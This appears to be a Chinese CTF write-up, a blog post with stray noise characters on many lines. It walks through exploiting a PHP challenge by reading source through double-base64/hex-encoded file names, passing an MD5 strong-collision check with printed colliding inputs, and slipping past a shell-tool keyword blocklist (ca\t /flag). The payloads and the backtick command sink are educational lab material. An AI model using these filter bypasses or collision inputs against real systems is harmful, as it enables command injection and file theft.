|
|
T3 ]3 {8 H1 G$ U<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
4 c" R* m; F7 k- I<p> </p>+ Y+ W, P6 ~7 j
<p> </p>) N; M0 G$ |; x4 {$ q
<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>
2 Q- x4 C4 K, }, P" N) f$ I3 T<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
, _- T% s6 l9 m$ j4 n<p> </p>
6 R, u5 Z; Z1 D" X' A<p> </p>% b0 K& F. W+ j6 U
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
1 R' {. Y9 B9 M) E+ q<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
8 c$ g W8 P: U/ E<p>首先把那个进行一次base64位解码</p>
4 F4 |3 N. l+ t8 |<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>) P8 H7 G; I' E2 j
<p> </p>7 v6 S! l+ w# W' d" ^& X# k
<p> </p>$ P( [) u, v1 U: H
<p> 解码一次以后还是很像base64编码,于是又解码一次</p>
! L, n. x3 {$ R5 v( ?' w<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>; a% O, m& M1 r
<p> </p>
$ r6 l$ ?' j4 Z& {" n<p> </p>* y. f5 y: D( ]% g+ B6 I" D
<p> 然后用hex解码一下得到了</p>4 \5 u, q4 ?, l6 H- v
<div class="cnblogs_Highlighter">8 l! C c$ r h$ t6 b" |4 |9 K; L
<pre class="brush:sql;gutter:true;">555.png
/ w' u. \2 H0 i# x; s; w</pre>* h+ ^2 [ q0 K- `* S" N
</div>
( X0 |! U4 f. P* m<p> 用同样的方法把index.php进行加密</p>
% i" c+ Z9 S6 h7 C# H<div class="cnblogs_Highlighter">9 ?6 N' _# z5 G7 M1 R+ R
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
& V B5 P% w! @7 H8 M</pre>0 c( h; d' _ G! a
</div>& J5 l4 r" J) g# k/ Q z
<p> 然后输入到地址栏</p>8 K8 ?' c ]" `3 @3 D
<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>
0 q' l4 S4 [7 M g# D' j<div class="cnblogs_code">/ B# M! G7 }& w' s( _6 N6 O* Q
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
3 A& a# a3 D9 z2 j, H</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);; ^, N! D) Z4 o
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);9 E6 @, A/ f2 k/ G
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
) x8 p( \9 |+ l</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) + d/ t! \, m5 ]! f l1 t, r. t
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);
# g, R5 ~0 c$ L' n6 B, R</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));3 ^' M8 ?0 j. u- l1 |
+ r7 A9 {# H* D
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);/ g1 M* L6 O( O( d! C. U( b5 l) q
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {8 _# f/ q! c$ `' L% x6 S6 {3 t
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;9 y' o% |0 `' {# [9 e& u+ R0 v, v0 j3 @
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
/ s$ c% I- i* B: N+ J, x} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {4 e* B# y7 W" e: ^, [+ ]
</span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
; n+ k! e+ @1 \8 }) F# j </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;
* I. \: ~! D! }1 O& Y </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
6 q5 P+ \) A, q! _* i, |* ]}
) c4 i& T p3 H0 b' N* L</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;) u- g" s, S1 v. q) e
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;4 R4 \# V% }2 m+ i+ m
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
7 b# }( d# ?( I7 f1 @ </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
2 I" d5 w2 R7 i2 j6 P </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;7 X, b1 u0 ?4 U M- j- L
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
% ` i, D! r2 [. q! A </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {6 i7 I( d9 g( a$ f# A
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
, P3 J0 ^% a* u( D6 _" H } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {0 \: Z3 C3 |6 B( a
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);9 u: h7 c) n- T/ V4 {' J# F
}5 T1 Q& c2 ~! R6 y5 Y
}
8 P: w) h, w$ J- v( f9 m$ v9 F* y) F6 p5 j: x
</span>?>6 c" z) Z% X1 L$ E8 N: u% n; W
<html>
2 p* [% m" K! `1 e9 {3 S<style><span style="color: rgba(0, 0, 0, 1)">4 P! _ P9 g1 ~* F3 C
body{8 J+ z9 d( i. g$ E2 `# c
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
' b" N9 G0 b) N$ v! p y d0 y, z background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
5 L0 }( z# K- t5 i$ D7 ~. w* h- |& }6 k background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;* i% N8 X) V+ W) b0 u
background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
' j7 B' ^4 X9 M* j2 q2 W<span style="color: rgba(0, 0, 0, 1)">}: `* l/ n# O' V
</span></style>
. d6 f( ? Z$ }2 s<body>
$ }: W% E6 v7 A" ]8 G</body>
- j; Q: l/ ^( M, @</html></pre>
0 j' J5 E; \1 u! q2 n$ u3 y" p) k. d) U</div>
& Q% U% f5 W4 |. w; W5 F<p>结合前面的推断,关键代码就在</p>
1 V \9 w: ^0 E6 D1 @+ j& r<div class="cnblogs_code">
, r7 P: J9 w; X8 }: h# y<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
# ^6 o0 ?- c% ~) @6 J3 l t </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;( ~( s$ n; |7 ^3 M# O1 B+ b3 T
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
/ n2 O$ T) {) J& I1 K* `$ ^8 O </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);2 G# N4 }( L/ R/ F+ o. D
}</span></pre>& F. ]2 [+ f: u
</div>2 Y0 y8 K9 I; [" u6 J$ W' M7 y
<p>这种MD5是md5强碰撞</p>; Y1 ]8 F- [' v9 ~) V( G
<div class="cnblogs_Highlighter">
7 ^ b- o# }3 ?6 Y6 w( m<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
z9 @- e- ~. h* `2 I5 O9 F</pre>2 Q V1 G5 z- L2 C6 }
</div>
& Q& i8 f9 |/ S<div class="cnblogs_Highlighter">
( C; q0 a4 v- r. O- ?<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
5 b# D# @- {1 x' p</pre>
/ w9 l6 i* @; l3 J</div>
+ R8 v' c4 \6 z<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>% L: i) }# x$ \& g/ c- p! b" J% ^6 `* @! S
<p>于是采用payload:</p>% H& q, `. i: \0 e4 h
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>: v* i( o8 x$ a( S
<p> </p>
+ O* m. B- C- O T) m<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
8 e0 X. ]& u4 O e/ a k/ u# _2 q<p>ls和l\s在命令执行的时候结果是一样的。</p>! Q" H0 q: U6 r9 q" I
<p>然后发现根目录里面有/flag</p>
7 l( Y( g/ n+ p$ S! s0 ^& u<p>于是payload:</p>
9 N% G2 }0 t/ y# D, l* ?<div class="cnblogs_Highlighter">; H. v2 K$ y* s
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
4 u2 w/ k4 s$ P& J+ p</pre>" }+ T4 {0 J3 ~9 Y9 ^! S0 K5 ?
</div>
+ k# v9 r/ e% c# G1 c<p> 对于这个题目,因为他没有屏蔽sort和dir</p>5 K! h' k* l( z5 y, }5 o0 c
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>: a8 e, T7 K% j( [7 r* }
<p> </p>
/ I9 z* q: y" l0 H |
|